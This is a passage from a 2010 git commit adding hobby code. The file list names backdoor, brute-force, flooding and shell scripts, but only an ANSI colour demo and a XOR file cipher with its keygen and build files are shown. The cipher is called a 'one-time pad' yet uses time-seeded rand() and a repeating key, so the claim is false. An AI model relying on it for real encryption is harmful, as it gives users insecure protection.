Added lot of junk laying around on harvie.cz
authorHarvie <tomas@mudrunka.cz>
Tue, 25 May 2010 01:13:32 +0000 (03:13 +0200)
committerHarvie <tomas@mudrunka.cz>
Wed, 26 May 2010 21:45:14 +0000 (23:45 +0200)
152 files changed:
bash/cterm.sh [new file with mode: 0755]
c/crypt/BIN/usage.txt [new file with mode: 0644]
c/crypt/Makefile.win [new file with mode: 0644]
c/crypt/crypt.ICO [new file with mode: 0644]
c/crypt/crypt.c [new file with mode: 0644]
c/crypt/crypt.dev [new file with mode: 0644]
c/crypt/crypt_private.h [new file with mode: 0644]
c/crypt/crypt_private.rc [new file with mode: 0644]
c/crypt/crypt_private.res [new file with mode: 0644]
c/crypt/keygen.c [new file with mode: 0644]
c/crypt/randomizer.dev [new file with mode: 0644]
c/crypt/randomizer.ico [new file with mode: 0644]
c/crypt/randomizer_private.h [new file with mode: 0644]
c/crypt/randomizer_private.rc [new file with mode: 0644]
c/crypt/randomizer_private.res [new file with mode: 0644]
c/lkm-old/Makefile [new file with mode: 0644]
c/lkm-old/Module.symvers [new file with mode: 0644]
c/lkm-old/hello.c [new file with mode: 0644]
c/lkm-old/hello2.c [new file with mode: 0644]
c/lkm-old/hello2.ko [new file with mode: 0644]
c/lkm-old/hello2.mod.c [new file with mode: 0644]
c/pic/Makefile.win [new file with mode: 0644]
c/pic/main.cpp [new file with mode: 0644]
c/pic/pic.dev [new file with mode: 0644]
c/pic/pic.layout [new file with mode: 0644]
c/sdl-old/SDL.h [new file with mode: 0644]
c/sdl-old/SDL_main.h [new file with mode: 0644]
c/sdl-old/libSDL.dll.a [new file with mode: 0644]
c/sdl-old/libSDL.la [new file with mode: 0644]
c/sdl-old/libSDLmain.a [new file with mode: 0644]
c/sdl-old/main.c [new file with mode: 0644]
java/Metody.java [new file with mode: 0755]
java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/README.TXT [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/bluej.pkg [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/bluej.pkh [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/build.xml [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/hlavokno.form [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/hlavokno.java [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/nbproject/project.properties [new file with mode: 0644]
java/jCrossCrypt/src/crosscrypt/nbproject/project.xml [new file with mode: 0644]
php/batstat.php [new file with mode: 0755]
php/crawler/old/crawler.php [new file with mode: 0644]
php/crawler/old/emails.php [new file with mode: 0755]
php/crawler/old/rfind.php [new file with mode: 0755]
php/encfs/a/.encfs6.xml [new file with mode: 0755]
php/encfs/encfs.php [new file with mode: 0755]
php/encfs/index.html [new file with mode: 0755]
php/encfs/php-encfs.php [new file with mode: 0755]
php/evolutia.php [new file with mode: 0755]
php/frekvencni_analyza/analyze_language.php [new file with mode: 0755]
php/frekvencni_analyza/cipher.txt [new file with mode: 0644]
php/frekvencni_analyza/czech.txt [new file with mode: 0644]
php/game-of-life/glider.txt [new file with mode: 0644]
php/game-of-life/golife.php [new file with mode: 0644]
php/game-of-life/life.txt [new file with mode: 0644]
php/game-of-life/spacefiller.cells [new file with mode: 0644]
php/location.php [new file with mode: 0644]
php/mc [new file with mode: 0755]
php/phpbb_member_sucker.php [new file with mode: 0644]
php/rand.php [new file with mode: 0644]
php/randscan.php [new file with mode: 0644]
php/rozvrh.atom.phps [new file with mode: 0755]
php/rozvrh.rss.php [new file with mode: 0644]
php/rozvrh.rss.phps [new file with mode: 0755]
php/skripty/NE_tcp_service_checker.php [new file with mode: 0644]
php/skripty/ascii.php [new file with mode: 0644]
php/skripty/backdoor.php [new file with mode: 0644]
php/skripty/bdscan.php [new file with mode: 0644]
php/skripty/bigflood.php [new file with mode: 0644]
php/skripty/bruteForcer.php [new file with mode: 0644]
php/skripty/bruteforcer2.php [new file with mode: 0644]
php/skripty/char_case_brute.php [new file with mode: 0644]
php/skripty/cmd.php [new file with mode: 0644]
php/skripty/cpuload.php [new file with mode: 0644]
php/skripty/crdemo.php [new file with mode: 0644]
php/skripty/decode_binary_text.php [new file with mode: 0644]
php/skripty/dir_tree.php [new file with mode: 0644]
php/skripty/fce.php [new file with mode: 0644]
php/skripty/find_recursive.php [new file with mode: 0644]
php/skripty/fork.php [new file with mode: 0644]
php/skripty/grep.php [new file with mode: 0644]
php/skripty/httget.php [new file with mode: 0644]
php/skripty/http_serv.php [new file with mode: 0644]
php/skripty/http_server.php [new file with mode: 0644]
php/skripty/http_server_old.php [new file with mode: 0644]
php/skripty/integrity_check.php [new file with mode: 0644]
php/skripty/irc_bdoor.php [new file with mode: 0644]
php/skripty/irc_bot.php [new file with mode: 0644]
php/skripty/jyxobot.php [new file with mode: 0644]
php/skripty/lomena.php [new file with mode: 0644]
php/skripty/lyrics_bot.php [new file with mode: 0644]
php/skripty/m3u_browser.php [new file with mode: 0644]
php/skripty/mail.php [new file with mode: 0644]
php/skripty/mailcheck.php [new file with mode: 0644]
php/skripty/matrix.php [new file with mode: 0644]
php/skripty/md5crack.php [new file with mode: 0644]
php/skripty/mem_kill.php [new file with mode: 0644]
php/skripty/microtime.php [new file with mode: 0644]
php/skripty/multi_terminal.php [new file with mode: 0644]
php/skripty/nadruhou.php [new file with mode: 0644]
php/skripty/php_brainfuck.php [new file with mode: 0644]
php/skripty/php_demo.php [new file with mode: 0644]
php/skripty/php_shell.php [new file with mode: 0644]
php/skripty/pico.php [new file with mode: 0644]
php/skripty/ping.php [new file with mode: 0644]
php/skripty/pop3crack.php [new file with mode: 0644]
php/skripty/pop3test.php [new file with mode: 0644]
php/skripty/proc_test.php [new file with mode: 0644]
php/skripty/prvocisla.php [new file with mode: 0644]
php/skripty/rada_crack.php [new file with mode: 0644]
php/skripty/rada_crack2.php [new file with mode: 0644]
php/skripty/rada_crack3.php [new file with mode: 0644]
php/skripty/serv_kill.php [new file with mode: 0644]
php/skripty/service_checker.php [new file with mode: 0644]
php/skripty/sinus_curve.php [new file with mode: 0644]
php/skripty/stdin_socket.php [new file with mode: 0644]
php/skripty/sudoku_web.php [new file with mode: 0644]
php/skripty/terminal_client.php [new file with mode: 0644]
php/skripty/terminal_connect.php [new file with mode: 0644]
php/skripty/terminal_server.php [new file with mode: 0644]
php/skripty/tictactoe.php [new file with mode: 0644]
php/skripty/wmvbot.php [new file with mode: 0644]
php/skripty/xor_8bits.php [new file with mode: 0644]
php/skripty/xor_enc.php [new file with mode: 0644]
php/sshb.php [new file with mode: 0644]
php/streamrip [new file with mode: 0755]
php/stredni-php/data.txt [new file with mode: 0755]
php/stredni-php/delete.php [new file with mode: 0755]
php/stredni-php/gbook.txt [new file with mode: 0755]
php/stredni-php/gbook2.php [new file with mode: 0755]
php/stredni-php/index_skola.php [new file with mode: 0755]
php/stredni-php/jurasek_gbook.txt [new file with mode: 0755]
php/stredni-php/mailer/mail.html [new file with mode: 0755]
php/stredni-php/mailer/mail.php [new file with mode: 0755]
php/stredni-php/main.html [new file with mode: 0755]
php/stredni-php/phpinfo.php [new file with mode: 0755]
php/stredni-php/pocitadlo.php [new file with mode: 0755]
php/stredni-php/pocitadlo.txt [new file with mode: 0755]
php/stredni-php/pocitadlo2.php [new file with mode: 0755]
php/stredni-php/redakce/gbook.txt [new file with mode: 0755]
php/stredni-php/redakce/gbook2.php [new file with mode: 0755]
php/stredni-php/redakce/redakce.php [new file with mode: 0755]
php/stredni-php/ukaz.php [new file with mode: 0755]
php/stredni-php/zadejjm.php [new file with mode: 0755]
php/telnet [new file with mode: 0755]
php/term.php [new file with mode: 0755]
php/testauth.php [new file with mode: 0755]
php/urls.php [new file with mode: 0644]

diff --git a/bash/cterm.sh b/bash/cterm.sh
new file mode 100755 (executable)
index 0000000..df65708
--- /dev/null
@@ -0,0 +1,15 @@
+#!/bin/cat
+\e[0mDEMOnstration of PHPTerm for Unixs' terminals
+xterm - gnome-terminal (/bin/bash)
+                               <-Harvie 2oo7
+
+\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[0m\e[40mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[41mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[42mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[43mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[44mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[45mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[46mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[47mA\e[0;30mA\e[0;31mA\e[0;32mA\e[0;33mA\e[0;34mA\e[0;35mA\e[0;36mA\e[0;37mA\e[0m
+\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[0m\e[40mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[41mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[42mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[43mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[44mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[45mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[46mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[47mA\e[1;30mA\e[1;31mA\e[1;32mA\e[1;33mA\e[1;34mA\e[1;35mA\e[1;36mA\e[1;37mA\e[0m
+\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[0m\e[40mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[41mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[42mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[43mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[44mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[45mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[46mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[47mA\e[2;30mA\e[2;31mA\e[2;32mA\e[2;33mA\e[2;34mA\e[2;35mA\e[2;36mA\e[2;37mA\e[0m
+\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[0m\e[40mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[41mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[42mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[43mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[44mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[45mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[46mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[47mA\e[3;30mA\e[3;31mA\e[3;32mA\e[3;33mA\e[3;34mA\e[3;35mA\e[3;36mA\e[3;37mA\e[0m
+\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[0m\e[40mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[41mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[42mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[43mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[44mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[45mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[46mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[47mA\e[4;30mA\e[4;31mA\e[4;32mA\e[4;33mA\e[4;34mA\e[4;35mA\e[4;36mA\e[4;37mA\e[0m
+\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[0m\e[40mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[41mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[42mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[43mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[44mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[45mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[46mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[47mA\e[5;30mA\e[5;31mA\e[5;32mA\e[5;33mA\e[5;34mA\e[5;35mA\e[5;36mA\e[5;37mA\e[0m
+\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[0m\e[40mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[41mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[42mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[43mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[44mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[45mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[46mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[47mA\e[6;30mA\e[6;31mA\e[6;32mA\e[6;33mA\e[6;34mA\e[6;35mA\e[6;36mA\e[6;37mA\e[0m
+\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[0m\e[40mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[41mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[42mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[43mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[44mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[45mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[46mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[47mA\e[7;30mA\e[7;31mA\e[7;32mA\e[7;33mA\e[7;34mA\e[7;35mA\e[7;36mA\e[7;37mA\e[0m
+\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[0m\e[40mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[41mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[42mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[43mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[44mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[45mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[46mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[47mA\e[8;30mA\e[8;31mA\e[8;32mA\e[8;33mA\e[8;34mA\e[8;35mA\e[8;36mA\e[8;37mA\e[0m
+\e[0m
diff --git a/c/crypt/BIN/usage.txt b/c/crypt/BIN/usage.txt
new file mode 100644 (file)
index 0000000..700f5a6
--- /dev/null
@@ -0,0 +1,23 @@
+Harvie's symetric encoding toolkit.\r
+\r
+\r
+USAGE:\r
+\r
+1. Generate key:\r
+       keygen 128 > key.txt\r
+       - keygen --help         for more options\r
+       - this will 128 generate pseudorandom bytes (if number is not specified, 1024 will be used instead)\r
+       - 128 may be size of encrypted file in bytes for optimal security.\r
+       - You can use any file (MP3, EXE, etc...) instead of this.\r
+       - The key mustn't contains the lots of NULL bytes\r
+\r
+2. Encrypt\r
+       crypt key.txt file.to.process file.output\r
+       - crypt         for more options\r
+       - key.txt is some file used as key\r
+       - file.to.process is file to encrypt/decrypt by key (if not specified, STDIN is used)\r
+       - file.output is output of process (if not specified, STDOUT is used)\r
+\r
+3. Decrypt\r
+       crypt key.txt file.output file.plain\r
+       - decrypting is done the same way as encrypting, you need the same key for decrypting and for encrypting.
\ No newline at end of file
diff --git a/c/crypt/Makefile.win b/c/crypt/Makefile.win
new file mode 100644 (file)
index 0000000..d748403
--- /dev/null
@@ -0,0 +1,33 @@
+# Project: crypt\r
+# Makefile created by Dev-C++ 4.9.9.2\r
+\r
+CPP  = g++.exe\r
+CC   = gcc.exe\r
+WINDRES = windres.exe\r
+RES  = crypt_private.res\r
+OBJ  = crypt.o $(RES)\r
+LINKOBJ  = crypt.o $(RES)\r
+LIBS =  -L"C:/Dev-Cpp/lib"  \r
+INCS =  -I"C:/Dev-Cpp/include" \r
+CXXINCS =  -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include" \r
+BIN  = crypt.exe\r
+CXXFLAGS = $(CXXINCS)   -fexpensive-optimizations -O3\r
+CFLAGS = $(INCS)   -fexpensive-optimizations -O3\r
+RM = rm -f\r
+\r
+.PHONY: all all-before all-after clean clean-custom\r
+\r
+all: all-before crypt.exe all-after\r
+\r
+\r
+clean: clean-custom\r
+       ${RM} $(OBJ) $(BIN)\r
+\r
+$(BIN): $(OBJ)\r
+       $(CC) $(LINKOBJ) -o "crypt.exe" $(LIBS)\r
+\r
+crypt.o: crypt.c\r
+       $(CC) -c crypt.c -o crypt.o $(CFLAGS)\r
+\r
+crypt_private.res: crypt_private.rc \r
+       $(WINDRES) -i crypt_private.rc --input-format=rc -o crypt_private.res -O coff \r
diff --git a/c/crypt/crypt.ICO b/c/crypt/crypt.ICO
new file mode 100644 (file)
index 0000000..c50726b
Binary files /dev/null and b/c/crypt/crypt.ICO differ
diff --git a/c/crypt/crypt.c b/c/crypt/crypt.c
new file mode 100644 (file)
index 0000000..3c0ce10
--- /dev/null
@@ -0,0 +1,20 @@
+#include <stdio.h>\r
+#include <stdlib.h>\r
+\r
+int main(int argc, char *argv[])\r
+{\r
+  int k, i; //Key, In,\r
+  //char sfkey[128] sfin[128], sfout[128];\r
+  if (argc <= 1 || argc > 4 ) { printf("Usage: crypt key [in] [out]\n"); return 1; }\r
+  FILE* fkey = fopen(argv[1], "rb"); //Open Key\r
+  if (argc >= 3) { freopen(argv[2], "rb", stdin); } //Reopen stdin\r
+  if (argc == 4) { freopen(argv[3], "wb", stdout); } //Reopen stdout\r
+  \r
+  while( (i = getchar()) != EOF ) {\r
+           if ( (k = getc(fkey)) == EOF )\r
+              { fseek(fkey, 0L, SEEK_SET); k = getc(fkey); }\r
+             //printf("%d: %c\n", k, k); sleep(1); //Debug\r
+             putchar(i^k);\r
+  }\r
+  return 0;\r
+}\r
diff --git a/c/crypt/crypt.dev b/c/crypt/crypt.dev
new file mode 100644 (file)
index 0000000..2a4fced
--- /dev/null
@@ -0,0 +1,59 @@
+[Project]\r
+FileName=crypt.dev\r
+Name=crypt\r
+UnitCount=1\r
+Type=1\r
+Ver=1\r
+ObjFiles=\r
+Includes=\r
+Libs=\r
+PrivateResource=crypt_private.rc\r
+ResourceIncludes=\r
+MakeIncludes=\r
+Compiler=\r
+CppCompiler=\r
+Linker=\r
+IsCpp=0\r
+Icon=crypt.ico\r
+ExeOutput=\r
+ObjectOutput=\r
+OverrideOutput=1\r
+OverrideOutputName=crypt.exe\r
+HostApplication=\r
+Folders=\r
+CommandLine=\r
+UseCustomMakefile=0\r
+CustomMakefile=\r
+IncludeVersionInfo=1\r
+SupportXPThemes=0\r
+CompilerSet=0\r
+CompilerSettings=0000000001001000000000\r
+\r
+[Unit1]\r
+FileName=crypt.c\r
+CompileCpp=0\r
+Folder=\r
+Compile=1\r
+Link=1\r
+Priority=1000\r
+OverrideBuildCmd=0\r
+BuildCmd=\r
+\r
+[VersionInfo]\r
+Major=1\r
+Minor=1\r
+Release=1\r
+Build=1\r
+LanguageID=2057\r
+CharsetID=1252\r
+CompanyName=Harvie 2oo7\r
+FileVersion=\r
+FileDescription=F(u)XOR : One-time-pad cryptographic tool\r
+InternalName=\r
+LegalCopyright=\r
+LegalTrademarks=\r
+OriginalFilename=\r
+ProductName=\r
+ProductVersion=\r
+AutoIncBuildNr=1\r
+\r
diff --git a/c/crypt/crypt_private.h b/c/crypt/crypt_private.h
new file mode 100644 (file)
index 0000000..79db3a1
--- /dev/null
@@ -0,0 +1,23 @@
+/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */\r
+/* DO NOT EDIT ! */\r
+\r
+#ifndef CRYPT_PRIVATE_H\r
+#define CRYPT_PRIVATE_H\r
+\r
+/* VERSION DEFINITIONS */\r
+#define VER_STRING     "1.1.1.2"\r
+#define VER_MAJOR      1\r
+#define VER_MINOR      1\r
+#define VER_RELEASE    1\r
+#define VER_BUILD      2\r
+#define COMPANY_NAME   "Harvie 2oo7"\r
+#define FILE_VERSION   ""\r
+#define FILE_DESCRIPTION       "F(u)XOR : One-time-pad cryptographic tool"\r
+#define INTERNAL_NAME  ""\r
+#define LEGAL_COPYRIGHT        ""\r
+#define LEGAL_TRADEMARKS       ""\r
+#define ORIGINAL_FILENAME      ""\r
+#define PRODUCT_NAME   ""\r
+#define PRODUCT_VERSION        ""\r
+\r
+#endif /*CRYPT_PRIVATE_H*/\r
diff --git a/c/crypt/crypt_private.rc b/c/crypt/crypt_private.rc
new file mode 100644 (file)
index 0000000..addf487
--- /dev/null
@@ -0,0 +1,37 @@
+/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */\r
+/* DO NOT EDIT! */\r
+\r
+#include <windows.h> // include for version info constants\r
+\r
+\r
+A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "crypt.ico"\r
+\r
+//\r
+// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS...\r
+//\r
+1 VERSIONINFO\r
+FILEVERSION 1,1,1,2\r
+PRODUCTVERSION 1,1,1,2\r
+FILETYPE VFT_APP\r
+{\r
+  BLOCK "StringFileInfo"\r
+        {\r
+                BLOCK "080904E4"\r
+                {\r
+                        VALUE "CompanyName", "Harvie 2oo7"\r
+                        VALUE "FileVersion", ""\r
+                        VALUE "FileDescription", "F(u)XOR : One-time-pad cryptographic tool"\r
+                        VALUE "InternalName", ""\r
+                        VALUE "LegalCopyright", ""\r
+                        VALUE "LegalTrademarks", ""\r
+                        VALUE "OriginalFilename", ""\r
+                        VALUE "ProductName", ""\r
+                        VALUE "ProductVersion", ""\r
+                }\r
+        }\r
+  BLOCK "VarFileInfo"\r
+        {\r
+                VALUE "Translation", 0x0809, 1252\r
+        }\r
+}\r
+\r
diff --git a/c/crypt/crypt_private.res b/c/crypt/crypt_private.res
new file mode 100644 (file)
index 0000000..8091efe
Binary files /dev/null and b/c/crypt/crypt_private.res differ
diff --git a/c/crypt/keygen.c b/c/crypt/keygen.c
new file mode 100644 (file)
index 0000000..3b426d9
--- /dev/null
@@ -0,0 +1,27 @@
+#include <stdio.h>\r
+#include <stdlib.h>\r
+\r
+int main(int argc, char *argv[])\r
+{\r
+  int r;\r
+  float i;\r
+  i = 1024; //Cycles\r
+  if(argc > 1) {\r
+    if( strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0 || strcmp(argv[1], "/?") == 0 ) {\r
+        printf("Usage: keygen [X] [> key.txt]\n");\r
+        printf("keygen - generates 1024 random chars (bytes) to stdin\n");\r
+        printf("keygen X - generates X random chars (bytes) to stdin\n");\r
+        printf("keygen [X] > key.txt - generates X random chars (bytes) to key.txt\n");\r
+        } \r
+    i = atof(argv[1]);\r
+    }\r
+  srand(time(0));\r
+  while(i>0) {\r
+    r = rand();\r
+    putchar(r);\r
+    //sleep(500);\r
+    i--;\r
+  }\r
+  //system("PAUSE");   \r
+  return 0;\r
+}\r
diff --git a/c/crypt/randomizer.dev b/c/crypt/randomizer.dev
new file mode 100644 (file)
index 0000000..9fc6835
--- /dev/null
@@ -0,0 +1,59 @@
+[Project]\r
+FileName=randomizer.dev\r
+Name=keygen\r
+UnitCount=1\r
+Type=1\r
+Ver=1\r
+ObjFiles=\r
+Includes=\r
+Libs=\r
+PrivateResource=randomizer_private.rc\r
+ResourceIncludes=\r
+MakeIncludes=\r
+Compiler=\r
+CppCompiler=\r
+Linker=\r
+IsCpp=0\r
+Icon=randomizer.ico\r
+ExeOutput=\r
+ObjectOutput=\r
+OverrideOutput=1\r
+OverrideOutputName=keygen.exe\r
+HostApplication=\r
+Folders=\r
+CommandLine=\r
+UseCustomMakefile=0\r
+CustomMakefile=\r
+IncludeVersionInfo=1\r
+SupportXPThemes=0\r
+CompilerSet=0\r
+CompilerSettings=0000000001001000000000\r
+\r
+[Unit1]\r
+FileName=keygen.c\r
+CompileCpp=0\r
+Folder=\r
+Compile=1\r
+Link=1\r
+Priority=1000\r
+OverrideBuildCmd=0\r
+BuildCmd=\r
+\r
+[VersionInfo]\r
+Major=1\r
+Minor=1\r
+Release=1\r
+Build=1\r
+LanguageID=2057\r
+CharsetID=1252\r
+CompanyName=Harvie 2oo7\r
